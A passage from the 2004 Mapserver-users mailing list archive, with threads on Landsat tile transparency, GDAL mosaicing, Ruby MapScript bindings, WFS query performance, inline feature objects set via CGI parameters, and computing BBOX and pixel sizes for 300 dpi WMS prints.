src176@psu.edu > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From warmerdam@pobox.com Mon Feb 2 22:20:57 2004 From: warmerdam@pobox.com (Frank Warmerdam) Date: Mon, 02 Feb 2004 17:20:57 -0500 Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency In-Reply-To: <06db01c3e9e2$da59e130$6c000a0a@sclark> References: <1075499057.1258.11.camel@katrin> <01b501c3e786$f58abcd0$6c000a0a@sclark> <401ADB33.7060004@pobox.com> <01e701c3e78c$06ebcbe0$6c000a0a@sclark> <401AE7EB.8000504@pobox.com> <401E9B98.1040904@pobox.com> <033101c3e9ca$e818f080$6c000a0a@sclark> <401EB5B0.6050209@pobox.com> <040301c3e9dc$a5c69e00$6c000a0a@sclark> <401EC924.8090400@pobox.com> <06db01c3e9e2$da59e130$6c000a0a@sclark> Message-ID: <401ECD49.1030002@pobox.com> Stephen Clark wrote: > Frank, > > >>If you are wanting to use transparency as a mechanism to blend overlapping >>tiles you are out of luck I am afraid. > > > Essentially this is what I want to do. > > I will have to create a mosaic to produce the imagery results I want for > now. > > Could some basic mosaicing functions be added to gdal in the future? Stephen, GDAL has some basic mosaicing functions now. In the sense that gdalwarp can be used to successivly overlay component images into a mosaic. This includes control of "nodata" values for each pass. However, it doesn't include cutline support or feathering across cutlines which would be quite desirable. This is definately a direction I would like to go with GDAL. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From sp_ml@sourcepole.com Mon Feb 2 22:33:21 2004 From: sp_ml@sourcepole.com (Pirmin Kalberer) Date: Mon, 2 Feb 2004 23:33:21 +0100 Subject: [Mapserver-users] ANN: MapScript for Ruby In-Reply-To: References: Message-ID: <200402022333.21860.sp_ml@sourcepole.com> Am Montag, 2. Februar 2004 22.30 schrieb Sean Gillies: > I just looked at the patch to mapscript.i. It won't work with the > next release due to my recent work on the styleObj shadow class > > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=548 > For this styleObj API only one of the examples has to be changed. > But there's no reason why we can't work together to bring the Ruby > bindings into the fold for the next release. If you add the Ruby bindings (without patch) to the CVS we would fix the example. Regards Pirmin -- Pirmin Kalberer sourcepole - Linux & Open Source Solutions pi@sourcepole.com http://www.sourcepole.com From assefa@dmsolutions.ca Mon Feb 2 22:34:32 2004 From: assefa@dmsolutions.ca (Yewondwossen Assefa) Date: Mon, 02 Feb 2004 17:34:32 -0500 Subject: [Mapserver-users] Mapserver WFS performance In-Reply-To: <401ECA26.7020101@pobox.com> References: <401EC2EF.9000409@dmsolutions.ca> <401ECA26.7020101@pobox.com> Message-ID: <401ED078.5090001@dmsolutions.ca> I have added 2 enhencements bugs (552 and 553) to keep track of these discussions. Later, Frank Warmerdam wrote: > Yewondwossen Assefa wrote: > >> Here is how things work : >> - the user does a wfs request >> - in is translated in mapserver query : the query does not take into >> account the maxfeatures. >> - The MAXFEATURES is taken into account when generating the >> resulting gml file >> >> So yes, It ends up doing the query on all the shapes in your case. >> >> I think we should modify mapserver low level query functions to be >> able to pass a maxfeature parameter. Some of the query functions have >> a mode (single or mulitple), and this notion should be extended to >> support a maxfeature. Once this is done the wfs interface can take >> advantage of it. > > > Assefa, and others, > > On a vaguely related note, the current query interface seems to make a > pass generating the 'item ids' for all the features which match the > query. Then when the query is returned another pass is made fetching the > shapes by id. With shapefiles this isn't particularly expensive, though it > does presumably result in the features being parsed from the binary twice. > > But for some OGR supported formats fetching "by id" can be very expensive. > > If we are restructuring the query mechanism what are the chances of > reviewing > this whole two pass approach? Since WFS is basically always using the > query mechanism it seems this is a significant performance issue for some > WFS setups. Even for "good formats" there is a bunch of overhead. > > Of course, I may be mis-understanding how things are working ... I've only > glanced at it. > > Best regards, > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa@dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From grantm@atser.com Mon Feb 2 22:36:17 2004 From: grantm@atser.com (Grant Marblestone) Date: Mon, 2 Feb 2004 16:36:17 -0600 Subject: [Mapserver-users] java dynamic layer creation In-Reply-To: <033d01c3e9cb$660321a0$6c000a0a@sclark> Message-ID: <895CFBF5ECF1904CB5126ADE88667588415D25@FC4102.hcfcd.co.harris.tx.us> Newbie question for yall. I have a jsp application I want to have a zoomable map with points representing some sites. I have used mapserver 3.5 with php, but now there is a java version yes? Is there a way to create a layer based on some x/y coordinates in a sql server database? Much Thanks, Grant From jnielsen@aero-graphics.com Mon Feb 2 22:51:07 2004 From: jnielsen@aero-graphics.com (Jason M. Nielsen) Date: Mon, 2 Feb 2004 15:51:07 -0700 Subject: [Mapserver-users] Setting scale of map while using dbox. Message-ID: <1075762267.401ed45b5c83f@www.agi-lan.com> I was wondering if anyone might be able to tell me how to go about sumbitting a fixed scale (ie: typed in by user) to mapserver when using the dbox stuff. Below is an idea of how to get the scale set but I do not see where "scale" is used in the mapserv.js file. I know a parameter can be passed directly to mapserv cgi and I also noticed functions such as "function Mapserv_setextentfromscale(x, y, scale)" but I dont see where I get my coordinates from (ie: mapx, mapy if just using regular html). I just have a refresh button at the moment to press once the scale is set. Scale=> 1: Would the right was to do this be to call the above function directly with the x, y and scale? TIA ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From steve.lime@dnr.state.mn.us Mon Feb 2 23:04:12 2004 From: steve.lime@dnr.state.mn.us (Steve Lime) Date: Mon, 02 Feb 2004 17:04:12 -0600 Subject: [Mapserver-users] Mapserver WFS performance Message-ID: Checkout bug 553 for more discussion on this topic... Note that MAXFEATURES was always intended for display, not query, purposes. Steve >>> Frank Warmerdam 2/2/2004 4:07:34 PM >>> Yewondwossen Assefa wrote: > Here is how things work : > - the user does a wfs request > - in is translated in mapserver query : the query does not take into > account the maxfeatures. > - The MAXFEATURES is taken into account when generating the > resulting gml file > > So yes, It ends up doing the query on all the shapes in your case. > > I think we should modify mapserver low level query functions to be able > to pass a maxfeature parameter. Some of the query functions have a mode > (single or mulitple), and this notion should be extended to support a > maxfeature. Once this is done the wfs interface can take advantage of it. Assefa, and others, On a vaguely related note, the current query interface seems to make a pass generating the 'item ids' for all the features which match the query. Then when the query is returned another pass is made fetching the shapes by id. With shapefiles this isn't particularly expensive, though it does presumably result in the features being parsed from the binary twice. But for some OGR supported formats fetching "by id" can be very expensive. If we are restructuring the query mechanism what are the chances of reviewing this whole two pass approach? Since WFS is basically always using the query mechanism it seems this is a significant performance issue for some WFS setups. Even for "good formats" there is a bunch of overhead. Of course, I may be mis-understanding how things are working ... I've only glanced at it. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam@pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From sgillies@frii.com Mon Feb 2 23:48:11 2004 From: sgillies@frii.com (Sean Gillies) Date: Mon, 2 Feb 2004 16:48:11 -0700 Subject: [Mapserver-users] ANN: MapScript for Ruby In-Reply-To: <200402022333.21860.sp_ml@sourcepole.com> References: <200402022333.21860.sp_ml@sourcepole.com> Message-ID: <42B5A84D-55DA-11D8-819C-000393B98B56@frii.com> On Feb 2, 2004, at 3:33 PM, Pirmin Kalberer wrote: > Am Montag, 2. Februar 2004 22.30 schrieb Sean Gillies: >> I just looked at the patch to mapscript.i. It won't work with the >> next release due to my recent work on the styleObj shadow class >> >> http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=548 >> > > For this styleObj API only one of the examples has to be changed. > >> But there's no reason why we can't work together to bring the Ruby >> bindings into the fold for the next release. > > If you add the Ruby bindings (without patch) to the CVS we would fix > the > example. > > Regards > Pirmin > Hi all, I have checked the Ruby files into CVS (HEAD) under mapscript/ruby. At Steve's suggestion I have created two stub interface files: rbmodule.i is for Ruby-specific typemaps and such, rbextend.i is for Ruby-specific extensions to the shadow classes defined in mapscript. Each of these files are automatically included with mapscript.i for Ruby (look for the #ifdef SWIGRUBY directives in mapscript.i). The mapscript.i file remains the place where code common to all languages will be. All that remains to be done is to get CVS access for the Ruby MapScript developers and to add the Ruby module to the code which runs SWIG nightly. One note about this is that swig -ruby generates a lot of noise as all the MapScript classes are capitalized. I wish swig -python did this! Welcome to the neighborhood, Ruby! cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From delfos18@yahoo.com Tue Feb 3 00:14:35 2004 From: delfos18@yahoo.com (J. Delfos) Date: Mon, 2 Feb 2004 16:14:35 -0800 (PST) Subject: [Mapserver-users] Changing inline features with CGI parameters In-Reply-To: <006901c3e996$89192ac0$6400a8c0@BLANKEN> Message-ID: <20040203001435.38921.qmail@web12103.mail.yahoo.com> This may be a very simple (read: dumb) solution, but instead of using map-server to display your error message of "no data to display", perhaps you should use a DHTML solution, e.g.: - a transparent DIV, on top of your map. You can change the text in a div dynamically (using innerhtml), and turn off the div if not needed. - when there's no layer, replace the DHTML image with your own image (and do not resubmit your form). This may not be what you're looking for, but it seems more straightforward and flexible to do it this way. regards, Jacob --- "Wim Blanken (PI)" wrote: > Hello Jan, > > Possible solutions...... > > -Did you specify the TYPE of the Layer? > -I use TRANSFORM OFF (and not False). > > So...... > > TYPE annotation > TRANSFORM OFF > > If this is no solution, could you specify a more complete mapfile? > > Regards, > > Wim Blanken > Geon bv > The Netherlands > > ----- Original Message ----- > From: "Jan Hartmann" > To: "'mapserver list'" > Sent: Monday, February 02, 2004 2:57 PM > Subject: [Mapserver-users] Changing inline features with CGI parameters > > > > Hi Steve and list, > > > > I'm trying to use a feature object for error messages. My mapfile > looks > > like this: > > > > map > > > > layer > > .. > > end > > > > layer > > .. > > end > > > > layer > > transform false > > feature > > text "No data for this map > > points 10 10 end > > end > > class > > color 255 0 0 > > ... > > end > > end > > > > Layers ar selected with expressions from the URL, and if no data are > > found, every layer but the last is turned off and the error message is > > displayed. Works fine. However, I want to be able to change the > > feature's text and position from the URL. The CGI Reference shows how > to > > do this by creating a new feature from the URL: > > > > > ...&map_webuser_feature=new&map_webuser_feature_points=12345.6789+12345.6789 > &map_webuser_feature_text=My+House!&.. > > > > This only works when *no* feature is defined in the MapFile, else > > nothing is shown. When omitting "feature=new" MapServer segfaults. > > > > AFAICS existing features are not accessible from the URL. Is this by > > design, or can something be done about it? I am thinking of an > > application with lots of default error messages that can be toggled on > > and off individually in different positions. It would be easier to do > > this with predefined (and named) feature objects. I can live with the > > present situation though. > > > > Jan > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users@lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free web site building tool. Try it! http://webhosting.yahoo.com/ps/sb/ From ed@topozone.com Tue Feb 3 00:57:04 2004 From: ed@topozone.com (Ed McNierney) Date: Mon, 2 Feb 2004 19:57:04 -0500 Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3B17@mercator.topozone.com> Stephen - Can you explain what results you ARE getting, and what input parameters you're using? You've said you have "no luck", but we don't know what that means. Do you know what spatial resolution per pixel you are or should be using? That is an important part of the picture. ANY image you request that is 1,800 pixels across will be 300 DPI at 6 inches width. WIDTH=1800 is all you need. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Stephen Clark [mailto:stephen.clark@focus.ca] Sent: Monday, February 02, 2004 3:30 PM To: Stephen Clark; Ed McNierney; Kralidis,Tom [Burlington]; Frank Warmerdam Cc: mapserver-users@lists.gis.umn.edu Subject: Re: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency Ed or others, If you have the time could you look at the LAYER below and help me out with the appropriate parameters to get a 300 dpi image at 6 inches using the BBOX, WIDTH and HEIGHT centering on UTM Zone 10 coordinates 583695, 6267684. Has there been some discussions on this in the Archives because I have come up with a blank on this..? thanks Stephen ----- Original Message ----- From: "Stephen Clark" To: "Ed McNierney" ; "Kralidis,Tom [Burlington]" ; "Frank Warmerdam" Cc: Sent: Monday, February 02, 2004 9:14 AM Subject: Re: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency > Ed, > > How would I do that with the following layer for CanImage: > > e.g., using the BBOX parameter ??? > > > LAYER # Centre d'information Topographique - CIT Sherbrooke > NAME "CANIMAGE" > TYPE RASTER > OFFSITE 0 0 0 > STATUS on > CONNECTIONTYPE WMS > CONNECTION "http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?" > METADATA > "wms_title" "CANIMAGE" > "wms_name" "CANIMAGE:CanImage/CanImage" > "wms_server_version" "1.1.0" > "wms_srs" "epsg:26910" > "wms_format" "image/png" > END > PROJECTION > "init=epsg:26910" > END > END # > > > > Thanks > Stephen > > > > ----- Original Message ----- > From: "Ed McNierney" > To: "Kralidis,Tom [Burlington]" ; "Stephen Clark" > ; "Frank Warmerdam" > Cc: > Sent: Friday, January 30, 2004 6:51 PM > Subject: RE: [Mapserver-users] I have some landsat 7 data that I want to > tile : overlap + transparency > > > Folks - > > The concept of a 300 dpi image from spatial imagery is nothing more than > a convenient fiction. EVERY WMS command produces a 300 dpi image - at a > certain output scale. > > You need to define one more variable - the geographic dimensions of a > pixel. This will let you calculate the image size you want. Say, for > example, you want to create a 300 dpi image in which each pixel > represents 15 meters (in each dimension). This means each inch on the > output product will be 300 x 15 meters, so your output scale is 1 inch = > 300 x 15 meters or 1 inch = 300 x 15 x 39.37 inches - a scale of > 1:177,165. > > If you'd like to do that, and produce a 6" x 6" 300 dpi image at a > resolution of 15 meters per pixel, your WMS request asks for 6 x 300 x > 15 or 27,000 meters in each dimension (in the BBOX parameter) and asks > for a WIDTH and HEIGHT of 1,800 pixels (6 inches at 300 dpi). > > If you'd like the image to be 10 meters per pixel, or 30 meters per > pixel, you would request a BBOX where delta X and delta Y were both > 18,000 meters or 54,000 meters respectively. > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com > -----Original Message----- > From: Kralidis,Tom [Burlington] [mailto:Tom.Kralidis@ec.gc.ca] > Sent: Friday, January 30, 2004 7:58 PM > To: 'Stephen Clark'; Frank Warmerdam > Cc: mapserver-users@lists.gis.umn.edu > Subject: RE: [Mapserver-users] I have some landsat 7 data that I want to > tile : overlap + transparency > > > > > -----Original Message----- > > From: Stephen Clark [mailto:stephen.clark@focus.ca] > > Sent: Friday, January 30, 2004 7:57 PM > > To: Kralidis,Tom [Burlington]; Frank Warmerdam > > Cc: mapserver-users@lists.gis.umn.edu > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I want > > to tile : overlap + transparency > > > > > > Tom, > > > > Is this the same as the CANIMAGE WMS layer from : > > > > "http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?" > > > > The CanImage layer is a processed set, with no overlaps, at 15m > resolution. > The CCRS Landsat are band 743, as distributed by GeoGratis. Same base > product, different pre-processing done to the data. IMHO, the CanImage > product looks more seamless. > > > If so I already have this layer added to MapServer. > > > > My use of Landsat 7 Imagery is for a backdrop in my PDF files. But I > > cannot get the WMS server to produce a 300 dpi image so I need to copy > > > them locally to produce the 300 dpi PDF files. > > > > Do you know of a WMS command that will produce an image ad a > > particular DPI? > > > > No, anyone else got an idea here? > > ..Tom > > > thanks > > Stephen > > > > ----- Original Message ----- > > From: "Kralidis,Tom [Burlington]" > > To: "'Stephen Clark'" ; "Frank Warmerdam" > > > > Cc: > > Sent: Friday, January 30, 2004 2:59 PM > > Subject: RE: [Mapserver-users] I have some landsat 7 data that I want > > to tile : overlap + transparency > > > > > > > > > > Hi Stephen, > > > > > > What are your requirements for using the Landsat 7 Orthoimagery in > > > MapServer? > > > > > > The CCRS WMS has the entire Landsat 7 Orthorectified Imagery > > > collection, which is on GeoGratis, available as OGC:WMS: > > > > > > URL: http://ceoware2.ccrs.nrcan.gc.ca/cubewerx/cubeserv/cubeserv.cgi > > > Layer name: L7O_B743:CEOWARE2 > > > > > > Note that this layer is also timestamped, i.e. you can > > query via TIME > > > in OGC:WMS also. The scenes' black areas are transparent. > > > > > > Just thought it'd be easier to point to an OGC:WMS of this > > data rather > > than > > > roll your own. > > > > > > Another comment: I'd be interested, as a separate exercise, how > > > MapServer deals with overlapping images in a given layer. > > What kind > > > of algorithm is done between scenes which overlap? > > > > > > Thanks > > > > > > ..Tom > > > > > > ========================= > > > Tom Kralidis > > > Systems Scientist > > > Environment Canada > > > Tel: +01-905-336-4409 > > > http://www.ec.gc.ca/cise/ > > > > > > ========================= > > > > > > > -----Original Message----- > > > > From: Stephen Clark [mailto:stephen.clark@focus.ca] > > > > Sent: Friday, January 30, 2004 6:52 PM > > > > To: Frank Warmerdam > > > > Cc: mapserver-users@lists.gis.umn.edu > > > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I > > > > want to tile : overlap + transparency > > > > > > > > > > > > Frank, > > > > > > > > My landsat data is from the Geogratis web site : > > > > > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/ > > > > > > > > Specifically these three scenes as example: > > > > > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > > tm/047021/ > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > > tm/048021/ > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > > tm/049021/ > > > > > > > > I compressed the files to ECW and produced this layer: > > > > > > > > LAYER > > > > NAME landsat_048_021_rgb > > > > DATA > > > > > > "d:/datasets/imagery/landsat/ecw/048021_0100_990804_l7_743_utm10.ecw" > > > > TYPE RASTER > > > > STATUS ON > > > > TRANSPARENCY 60 > > > > > > > > # turn off the black background in the image files > > > > OFFSITE 0 0 0 > > > > END > > > > > > > > > > > > >Do all the images have the same background value? YES > > -- they do. > > > > There is a residual amount of black fuzziness around the scenes > > > > after using the above OFFSITE command. > > > > > > > > Here is a LAYER file for the tiled index of Landsat scenes: > > > > > > > > LAYER > > > > NAME landsat_tile > > > > TILEINDEX "d:/datasets/imagery/landsat/landsat_index.shp" > > > > TILEITEM "location" > > > > TYPE RASTER > > > > STATUS ON > > > > TRANSPARENCY 60 > > > > > > > > # turn off the black background in the image files > > > > OFFSITE 0 0 0 > > > > > > > > METADATA > > > > WMS_TITLE "Lansdat 7 Imagery " > > > > WMS_ABSTRACT "N/A" > > > > WMS_SRS "EPSG:26910" > > > > END > > > > > > > > END > > > > > > > > But this tiled layer does not have any transparency. How would I > > > > fix this? > > > > > > > > thanks > > > > Stephen > > > > > > > > ----- Original Message ----- > > > > From: "Frank Warmerdam" > > > > To: "Stephen Clark" > > > > Cc: > > > > Sent: Friday, January 30, 2004 2:31 PM > > > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I > > > > want to tile : overlap + transparency > > > > > > > > > > > > > Stephen Clark wrote: > > > > > > Hi All, > > > > > > > > > > > > > > > > > > I have some landsat 7 data that I want to tile but the scenes > > > > > > overlap. > > > > > > > > > > > > Can I use some sort of command that can be added to the > > > > "gdaltindex" > > > > > > command to add a transparency value to these scenes > > so that the > > > > > > overlap areas can show through. > > > > > > > > > > Stephen, > > > > > > > > > > Do all the images have the same background value? If > > so, use it > > > > > as the offsite value for the whole layer and it will be used > > > > with all the > > > > > images. The other alternative is to store the tiles in a format > > > > > for which GDAL recognises "nodata" values, but this isn't very > > > > convenient > > > > > to arrange. There is no way to include nodata values in > > the raster > > > > > tile index. > > > > > > > > > > Best regards, > > > > > -- > > > > > > > > > > > ---------------------------------------+---------------------------- > > > > ---------------------------------------+-- > > > > > ---------------------------------------+---- > > > > ---- > > > > > I set the clouds in motion - turn up | Frank Warmerdam, > > > > warmerdam@pobox.com > > > > > light and sound - activate the windows | > > http://pobox.com/~warmerdam > > > > > and watch the world go > > round - Rush | Geospatial > > > > Programmer for Rent > > > > > > > > > > > > > > > > > > > > > > > _______________________________________________ > > > > Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu > > > > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > > > > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From delfos18@yahoo.com Tue Feb 3 02:04:19 2004 From: delfos18@yahoo.com (J. Delfos) Date: Mon, 2 Feb 2004 18:04:19 -0800 (PST) Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E3B17@mercator.topozone.com> Message-ID: <20040203020419.32990.qmail@web12105.mail.yahoo.com> Stephen, Are you trying to actually produce a printout at a resolution of 300dpi? Because as far as I know you can't do that from a browser. A browser will most frequently print at 96dpi. In my site, I implemented some javascript that will zoom to a certain printing scale, for a certain pagesize. But to do this, I have to create a map at a different size, and adjust my extents. The printing resolution stays the same however (96dpi), it's only the size of the print you can change. The image will not come out any sharper from a browser. Only if you were to export your map image to an external graphic package you might be able to get to a certain resolution. Ed, I agree completely about the misconcept of dpi's for airial imagery. The only way to get your imagery at a certain scale, or at a certain resolution, is to calculate the size of a pixel, and then to either adjust your mapsize to get a different resolution, or to adjust your map extent to get a different scale (keeping the resolution the same). Jacob --- Ed McNierney wrote: > Stephen - > > Can you explain what results you ARE getting, and what input parameters > you're using? You've said you have "no luck", but we don't know what > that means. > > Do you know what spatial resolution per pixel you are or should be > using? That is an important part of the picture. > > ANY image you request that is 1,800 pixels across will be 300 DPI at 6 > inches width. WIDTH=1800 is all you need. > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com > -----Original Message----- > From: Stephen Clark [mailto:stephen.clark@focus.ca] > Sent: Monday, February 02, 2004 3:30 PM > To: Stephen Clark; Ed McNierney; Kralidis,Tom [Burlington]; Frank > Warmerdam > Cc: mapserver-users@lists.gis.umn.edu > Subject: Re: [Mapserver-users] I have some landsat 7 data that I want to > tile : overlap + transparency > > Ed or others, > > If you have the time could you look at the LAYER below and help me out > with the appropriate parameters to get a 300 dpi image at 6 inches using > the BBOX, WIDTH and HEIGHT centering on UTM Zone 10 coordinates 583695, > 6267684. > > Has there been some discussions on this in the Archives because I have > come up with a blank on this..? > > thanks > Stephen > > > > > ----- Original Message ----- > From: "Stephen Clark" > To: "Ed McNierney" ; "Kralidis,Tom [Burlington]" > ; "Frank Warmerdam" > Cc: > Sent: Monday, February 02, 2004 9:14 AM > Subject: Re: [Mapserver-users] I have some landsat 7 data that I want to > tile : overlap + transparency > > > > Ed, > > > > How would I do that with the following layer for CanImage: > > > > e.g., using the BBOX parameter ??? > > > > > > LAYER # Centre d'information Topographique - CIT Sherbrooke > > NAME "CANIMAGE" > > TYPE RASTER > > OFFSITE 0 0 0 > > STATUS on > > CONNECTIONTYPE WMS > > CONNECTION "http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?" > > METADATA > > "wms_title" "CANIMAGE" > > "wms_name" "CANIMAGE:CanImage/CanImage" > > "wms_server_version" "1.1.0" > > "wms_srs" "epsg:26910" > > "wms_format" "image/png" > > END > > PROJECTION > > "init=epsg:26910" > > END > > END # > > > > > > > > Thanks > > Stephen > > > > > > > > ----- Original Message ----- > > From: "Ed McNierney" > > To: "Kralidis,Tom [Burlington]" ; "Stephen > Clark" > > ; "Frank Warmerdam" > > Cc: > > Sent: Friday, January 30, 2004 6:51 PM > > Subject: RE: [Mapserver-users] I have some landsat 7 data that I want > to > > tile : overlap + transparency > > > > > > Folks - > > > > The concept of a 300 dpi image from spatial imagery is nothing more > than > > a convenient fiction. EVERY WMS command produces a 300 dpi image - at > a > > certain output scale. > > > > You need to define one more variable - the geographic dimensions of a > > pixel. This will let you calculate the image size you want. Say, for > > example, you want to create a 300 dpi image in which each pixel > > represents 15 meters (in each dimension). This means each inch on the > > output product will be 300 x 15 meters, so your output scale is 1 inch > = > > 300 x 15 meters or 1 inch = 300 x 15 x 39.37 inches - a scale of > > 1:177,165. > > > > If you'd like to do that, and produce a 6" x 6" 300 dpi image at a > > resolution of 15 meters per pixel, your WMS request asks for 6 x 300 x > > 15 or 27,000 meters in each dimension (in the BBOX parameter) and asks > > for a WIDTH and HEIGHT of 1,800 pixels (6 inches at 300 dpi). > > > > If you'd like the image to be 10 meters per pixel, or 30 meters per > > pixel, you would request a BBOX where delta X and delta Y were both > > 18,000 meters or 54,000 meters respectively. > > > > - Ed > > > > Ed McNierney > > President and Chief Mapmaker > > TopoZone.com > > -----Original Message----- > > From: Kralidis,Tom [Burlington] [mailto:Tom.Kralidis@ec.gc.ca] > > Sent: Friday, January 30, 2004 7:58 PM > > To: 'Stephen Clark'; Frank Warmerdam > > Cc: mapserver-users@lists.gis.umn.edu > > Subject: RE: [Mapserver-users] I have some landsat 7 data that I want > to > > tile : overlap + transparency > > > > > > > > > -----Original Message----- > > > From: Stephen Clark [mailto:stephen.clark@focus.ca] > > > Sent: Friday, January 30, 2004 7:57 PM > > > To: Kralidis,Tom [Burlington]; Frank Warmerdam > > > Cc: mapserver-users@lists.gis.umn.edu > > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I > want > > > to tile : overlap + transparency > > > > > > > > > Tom, > > > > > > Is this the same as the CANIMAGE WMS layer from : > > > > > > "http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?" > > > > > > > The CanImage layer is a processed set, with no overlaps, at 15m > > resolution. > > The CCRS Landsat are band 743, as distributed by GeoGratis. Same base > > product, different pre-processing done to the data. IMHO, the > CanImage > > product looks more seamless. > > > > > If so I already have this layer added to MapServer. > > > > > > My use of Landsat 7 Imagery is for a backdrop in my PDF files. But > I > > > cannot get the WMS server to produce a 300 dpi image so I need to > copy > > > > > them locally to produce the 300 dpi PDF files. > > > > > > Do you know of a WMS command that will produce an image ad a > > > particular DPI? > > > > > > > No, anyone else got an idea here? > > > > ..Tom > > > > > thanks > > > Stephen > > > > > > ----- Original Message ----- > > > From: "Kralidis,Tom [Burlington]" > > > To: "'Stephen Clark'" ; "Frank Warmerdam" > > > > > > Cc: > > > Sent: Friday, January 30, 2004 2:59 PM > > > Subject: RE: [Mapserver-users] I have some landsat 7 data that I > want > > > to tile : overlap + transparency > > > > > > > > > > > > > > Hi Stephen, > > > > > > > > What are your requirements for using the Landsat 7 Orthoimagery in > > > > MapServer? > > > > > > > > The CCRS WMS has the entire Landsat 7 Orthorectified Imagery > > > > collection, which is on GeoGratis, available as OGC:WMS: > > > > > > > > URL: > http://ceoware2.ccrs.nrcan.gc.ca/cubewerx/cubeserv/cubeserv.cgi > > > > Layer name: L7O_B743:CEOWARE2 > > > > > > > > Note that this layer is also timestamped, i.e. you can > > > query via TIME > > > > in OGC:WMS also. The scenes' black areas are transparent. > > > > > > > > Just thought it'd be easier to point to an OGC:WMS of this > > > data rather > > > than > > > > roll your own. > > > > > > > > Another comment: I'd be interested, as a separate exercise, how > > > > MapServer deals with overlapping images in a given layer. > > > What kind > > > > of algorithm is done between scenes which overlap? > > > > > > > > Thanks > > > > > > > > ..Tom > > > > > > > > ========================= > > > > Tom Kralidis > > > > Systems Scientist > > > > Environment Canada > > > > Tel: +01-905-336-4409 > > > > http://www.ec.gc.ca/cise/ > > > > > > > > ========================= > > > > > > > > > -----Original Message----- > > > > > From: Stephen Clark [mailto:stephen.clark@focus.ca] > > > > > Sent: Friday, January 30, 2004 6:52 PM > > > > > To: Frank Warmerdam > > > > > Cc: mapserver-users@lists.gis.umn.edu > > > > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I > > > > > want to tile : overlap + transparency > > > > > > > > > > > > > > > Frank, > > > > > > > > > > My landsat data is from the Geogratis web site : > > > > > > > > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/ > > > > > > > > > > Specifically these three scenes as example: > > > > > > > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > > > tm/047021/ > > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > > > tm/048021/ > > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > > > tm/049021/ > > > > > > > > > > I compressed the files to ECW and produced this layer: > > > > > > > > > > LAYER > > > > > NAME landsat_048_021_rgb > > > > > DATA > > > > > > > > > "d:/datasets/imagery/landsat/ecw/048021_0100_990804_l7_743_utm10.ecw" > > > > > TYPE RASTER > > > > > STATUS ON > > > > > TRANSPARENCY 60 > > > > > > > > > > # turn off the black background in the image files > > > > > OFFSITE 0 0 0 > > > > > END > > > > > > > > > > > > > > > >Do all the images have the same background value? YES > > > -- they do. > > > > > There is a residual amount of black fuzziness around the scenes > > > > > after using the above OFFSITE command. > > > > > > > > > > Here is a LAYER file for the tiled index of Landsat scenes: > > > > > > > > > > LAYER > > > > > NAME landsat_tile > > > > > TILEINDEX "d:/datasets/imagery/landsat/landsat_index.shp" > > > > > TILEITEM "location" > > > > > TYPE RASTER > > > > > STATUS ON > > > > > TRANSPARENCY 60 > > > > > > > > > > # turn off the black background in the image files > > > > > OFFSITE 0 0 0 > > > > > > > > > > METADATA > > > > > WMS_TITLE "Lansdat 7 Imagery " > > > > > WMS_ABSTRACT "N/A" > > > > > WMS_SRS "EPSG:26910" > > > > > END > > > > > > > > > > END > > > > > > > > > > But this tiled layer does 